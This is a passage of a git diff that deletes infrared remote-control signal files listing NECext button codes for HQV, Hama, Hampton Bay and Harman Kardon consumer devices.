KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 23 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 24 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 26 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 27 00 00 00 -# -name: tv/av -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2A 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 34 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 39 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3B 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/HQV/Video Processor/128,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/HQV/Video Processor/128,-1.ir deleted file mode 100644 index bdb9a5027..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/HQV/Video Processor/128,-1.ir +++ /dev/null @@ -1,122 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 00 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 01 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 02 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 03 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 04 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 05 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 06 00 00 00 -# -name: BCE -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 07 00 00 00 -# -name: SPLIT -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 08 00 00 00 -# -name: FILM -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 09 00 00 00 -# -name: ASPECT_RATIO -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 0A 00 00 00 -# -name: TRNR -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 0B 00 00 00 -# -name: CNR -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 0C 00 00 00 -# -name: DVI -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 0D 00 00 00 -# -name: VIDEO -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 0E 00 00 00 -# -name: HDMI -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 0F 00 00 00 -# -name: RGB -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 10 00 00 00 -# -name: S-VIDEO -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 11 00 00 00 -# -name: SDI -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 12 00 00 00 -# -name: YPBPR -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 13 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hama/Unknown_Internet/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hama/Unknown_Internet/0,-1.ir deleted file mode 100644 index e369d1783..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hama/Unknown_Internet/0,-1.ir +++ /dev/null @@ -1,164 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_MODE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: KEY_PLAYPAUSE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: Reply -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: Store -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 12 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 16 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 17 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 19 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1A 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1B 00 00 00 -# -name: Browse -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1C 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1D 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1E 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1F 00 00 00 -# -name: KEY_102ND -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 40 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 48 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4C 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4D 00 00 00 -# -name: KEY_SELECT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 54 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hama/Unknown_PhotoPlayer/134,107.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hama/Unknown_PhotoPlayer/134,107.ir deleted file mode 100644 index 7ce065cb9..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hama/Unknown_PhotoPlayer/134,107.ir +++ /dev/null @@ -1,146 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_DELETE -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 00 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 01 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 02 00 00 00 -# -name: KEY_PAGEUP -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 03 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 04 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 05 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 06 00 00 00 -# -name: KEY_ESC -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 07 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 08 00 00 00 -# -name: KEY_PAGEDOWN -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 09 00 00 00 -# -name: KEY_F4 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 0C 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 0F 00 00 00 -# -name: KEY_MODE -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 10 00 00 00 -# -name: KEY_SELECT -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 11 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 12 00 00 00 -# -name: KEY_F1 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 13 00 00 00 -# -name: KEY_REPLY -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 14 00 00 00 -# -name: KEY_F2 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 16 00 00 00 -# -name: KEY_F5 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 17 00 00 00 -# -name: KEY_F3 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 18 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 1A 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 1B 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 1E 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 1F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hampton Bay/Unknown_Bay/129,102.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hampton Bay/Unknown_Bay/129,102.ir deleted file mode 100644 index 83341286c..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hampton Bay/Unknown_Bay/129,102.ir +++ /dev/null @@ -1,44 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 81 66 00 00 -command: 81 00 00 00 -# -name: energy_saver -type: parsed -protocol: NECext -address: 81 66 00 00 -command: 82 00 00 00 -# -name: temp_up -type: parsed -protocol: NECext -address: 81 66 00 00 -command: 85 00 00 00 -# -name: temp_down -type: parsed -protocol: NECext -address: 81 66 00 00 -command: 8A 00 00 00 -# -name: fan_speed -type: parsed -protocol: NECext -address: 81 66 00 00 -command: 99 00 00 00 -# -name: KEY_MODE -type: parsed -protocol: NECext -address: 81 66 00 00 -command: 9B 00 00 00 -# -name: timer -type: parsed -protocol: NECext -address: 81 66 00 00 -command: 9F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Amplifier/128,112.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Amplifier/128,112.ir deleted file mode 100644 index 2ebdc1880..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Amplifier/128,112.ir +++ /dev/null @@ -1,62 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: AVR -type: parsed -protocol: NECext -address: 80 70 00 00 -command: C0 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 80 70 00 00 -command: C1 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: 80 70 00 00 -command: C4 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 80 70 00 00 -command: C7 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 80 70 00 00 -command: C8 00 00 00 -# -name: VID1 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: CA 00 00 00 -# -name: VID2 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: CB 00 00 00 -# -name: TAPE -type: parsed -protocol: NECext -address: 80 70 00 00 -command: CC 00 00 00 -# -name: VID3 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: CE 00 00 00 -# -name: DVD -type: parsed -protocol: NECext -address: 80 70 00 00 -command: D0 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Amplifier/130,114.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Amplifier/130,114.ir deleted file mode 100644 index 87abfdfb4..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Amplifier/130,114.ir +++ /dev/null @@ -1,20 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 21 00 00 00 -# -name: AM/FM -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 22 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 22 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Blu-Ray/132,116.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Blu-Ray/132,116.ir deleted file mode 100644 index 6c7ecb278..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Blu-Ray/132,116.ir +++ /dev/null @@ -1,266 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 84 74 00 00 -command: C0 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 84 74 00 00 -command: C1 00 00 00 -# -name: OPEN/CLOSE -type: parsed -protocol: NECext -address: 84 74 00 00 -command: C2 00 00 00 -# -name: DISC_MENU -type: parsed -protocol: NECext -address: 84 74 00 00 -command: C3 00 00 00 -# -name: SETUP -type: parsed -protocol: NECext -address: 84 74 00 00 -command: C4 00 00 00 -# -name: POPUP/TITLE_MENU -type: parsed -protocol: NECext -address: 84 74 00 00 -command: C5 00 00 00 -# -name: STATUS -type: parsed -protocol: NECext -address: 84 74 00 00 -command: C6 00 00 00 -# -name: RETURN -type: parsed -protocol: NECext -address: 84 74 00 00 -command: C9 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 84 74 00 00 -command: CA 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 84 74 00 00 -command: CB 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 84 74 00 00 -command: CC 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 84 74 00 00 -command: CD 00 00 00 -# -name: CURSOR_OK -type: parsed -protocol: NECext -address: 84 74 00 00 -command: CE 00 00 00 -# -name: COLOR_A_RED -type: parsed -protocol: NECext -address: 84 74 00 00 -command: CF 00 00 00 -# -name: COLOR_B_GREEN -type: parsed -protocol: NECext -address: 84 74 00 00 -command: D0 00 00 00 -# -name: COLOR_D_BLUE -type: parsed -protocol: NECext -address: 84 74 00 00 -command: D1 00 00 00 -# -name: COLOR_C_YELLOW -type: parsed -protocol: NECext -address: 84 74 00 00 -command: D2 00 00 00 -# -name: AUDIO -type: parsed -protocol: NECext -address: 84 74 00 00 -command: D3 00 00 00 -# -name: SUBTITLE -type: parsed -protocol: NECext -address: 84 74 00 00 -command: D4 00 00 00 -# -name: ANGLE -type: parsed -protocol: NECext -address: 84 74 00 00 -command: D5 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 84 74 00 00 -command: D6 00 00 00 -# -name: TR_SEARCH_<< -type: parsed -protocol: NECext -address: 84 74 00 00 -command: DA 00 00 00 -# -name: TR_SEARCH_>> -type: parsed -protocol: NECext -address: 84 74 00 00 -command: DB 00 00 00 -# -name: TR_SKIP_<< -type: parsed -protocol: NECext -address: 84 74 00 00 -command: DC 00 00 00 -# -name: TR_SKIP_>> -type: parsed -protocol: NECext -address: 84 74 00 00 -command: DD 00 00 00 -# -name: TR_PLAY -type: parsed -protocol: NECext -address: 84 74 00 00 -command: DE 00 00 00 -# -name: TR_PAUSE -type: parsed -protocol: NECext -address: 84 74 00 00 -command: DF 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 84 74 00 00 -command: E0 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 84 74 00 00 -command: E1 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 84 74 00 00 -command: E2 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 84 74 00 00 -command: E3 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 84 74 00 00 -command: E4 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 84 74 00 00 -command: E5 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 84 74 00 00 -command: E6 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 84 74 00 00 -command: E7 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 84 74 00 00 -command: E8 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 84 74 00 00 -command: E9 00 00 00 -# -name: TR_STOP -type: parsed -protocol: NECext -address: 84 74 00 00 -command: EA 00 00 00 -# -name: DIMMER -type: parsed -protocol: NECext -address: 84 74 00 00 -command: EE 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 84 74 00 00 -command: F1 00 00 00 -# -name: PIP -type: parsed -protocol: NECext -address: 84 74 00 00 -command: F2 00 00 00 -# -name: REPEAT_A-B -type: parsed -protocol: NECext -address: 84 74 00 00 -command: F3 00 00 00 -# -name: PIP_AUDIO_MONITOR -type: parsed -protocol: NECext -address: 84 74 00 00 -command: F4 00 00 00 -# -name: FIND -type: parsed -protocol: NECext -address: 84 74 00 00 -command: F5 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/CD Changer/128,112.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/CD Changer/128,112.ir deleted file mode 100644 index 8779c6d28..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/CD Changer/128,112.ir +++ /dev/null @@ -1,182 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: STOP -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 01 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 02 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 03 00 00 00 -# -name: <> -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 06 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 0A 00 00 00 -# -name: INTRO_SCAN -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 0D 00 00 00 -# -name: PROGRAM -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 0E 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 0F 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 11 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 12 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 13 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 14 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 15 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 16 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 17 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 18 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 19 00 00 00 -# -name: TIME -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 1C 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 40 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 4D 00 00 00 -# -name: SKIP_UP -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 50 00 00 00 -# -name: DISC_1 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 51 00 00 00 -# -name: DISC_2 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 52 00 00 00 -# -name: DISC_3 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 53 00 00 00 -# -name: DISC_4 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 54 00 00 00 -# -name: DISC_5 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 55 00 00 00 -# -name: ON -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 56 00 00 00 -# -name: OFF -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 57 00 00 00 -# -name: SKIP_DN -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 5B 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/CD Player/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/CD Player/0,-1.ir deleted file mode 100644 index 492df9cfd..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/CD Player/0,-1.ir +++ /dev/null @@ -1,116 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: PLAY/PAUSE_> -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: STOP/CLEAR_[] -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: SEARCH_>> -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: SEARCH_<< -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: PROGRAM -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: TIME -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 12 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 13 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 14 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 15 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 16 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 17 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 18 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 19 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/CD Player/128,112.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/CD Player/128,112.ir deleted file mode 100644 index c830ee9a9..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/CD Player/128,112.ir +++ /dev/null @@ -1,590 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: OPEN/CLOSE -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 00 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 00 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 01 00 00 00 -# -name: STOP_[] -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 01 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 02 00 00 00 -# -name: PLAY_> -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 02 00 00 00 -# -name: PLAY/PAUSE -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 02 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 03 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 03 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 04 00 00 00 -# -name: >>I -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 04 00 00 00 -# -name: >> -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 04 00 00 00 -# -name: SKIP_FWD_>> -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 04 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 05 00 00 00 -# -name: I<< -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 05 00 00 00 -# -name: << -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 05 00 00 00 -# -name: SKIP_REV_<< -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 05 00 00 00 -# -name: <> -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 06 00 00 00 -# -name: >> -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 06 00 00 00 -# -name: >> -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 06 00 00 00 -# -name: SEARCH_>> -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 06 00 00 00 -# -name: SEARCH_>> -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 06 00 00 00 -# -name: SEARCH_<< -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 07 00 00 00 -# -name: << -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 07 00 00 00 -# -name: << -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 07 00 00 00 -# -name: SEARCH_<< -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 07 00 00 00 -# -name: INDEX_-> -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 08 00 00 00 -# -name: 10+ -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 08 00 00 00 -# -name: INDEX_<- -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 09 00 00 00 -# -name: 10- -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 09 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 0A 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 0A 00 00 00 -# -name: A-B -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 0B 00 00 00 -# -name: REPEAT_A-B -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 0B 00 00 00 -# -name: SPACE -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 0C 00 00 00 -# -name: INTRO_SCAN -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 0D 00 00 00 -# -name: INTRO -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 0D 00 00 00 -# -name: PROGRAM -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 0E 00 00 00 -# -name: PROGRAM -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 0E 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 0F 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 0F 00 00 00 -# -name: 10+ -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 10 00 00 00 -# -name: +10 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 10 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 11 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 11 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 12 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 12 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 13 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 13 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 14 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 14 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 15 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 15 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 16 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 16 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 17 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 17 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 18 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 18 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 19 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 19 00 00 00 -# -name: 10 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 1A 00 00 00 -# -name: 10 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 1A 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 1A 00 00 00 -# -name: CHECK -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 1B 00 00 00 -# -name: CHECK -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 1B 00 00 00 -# -name: TIME -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 1C 00 00 00 -# -name: TIME -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 1C 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 1D 00 00 00 -# -name: DISPLAY -type: parsed -protocol: 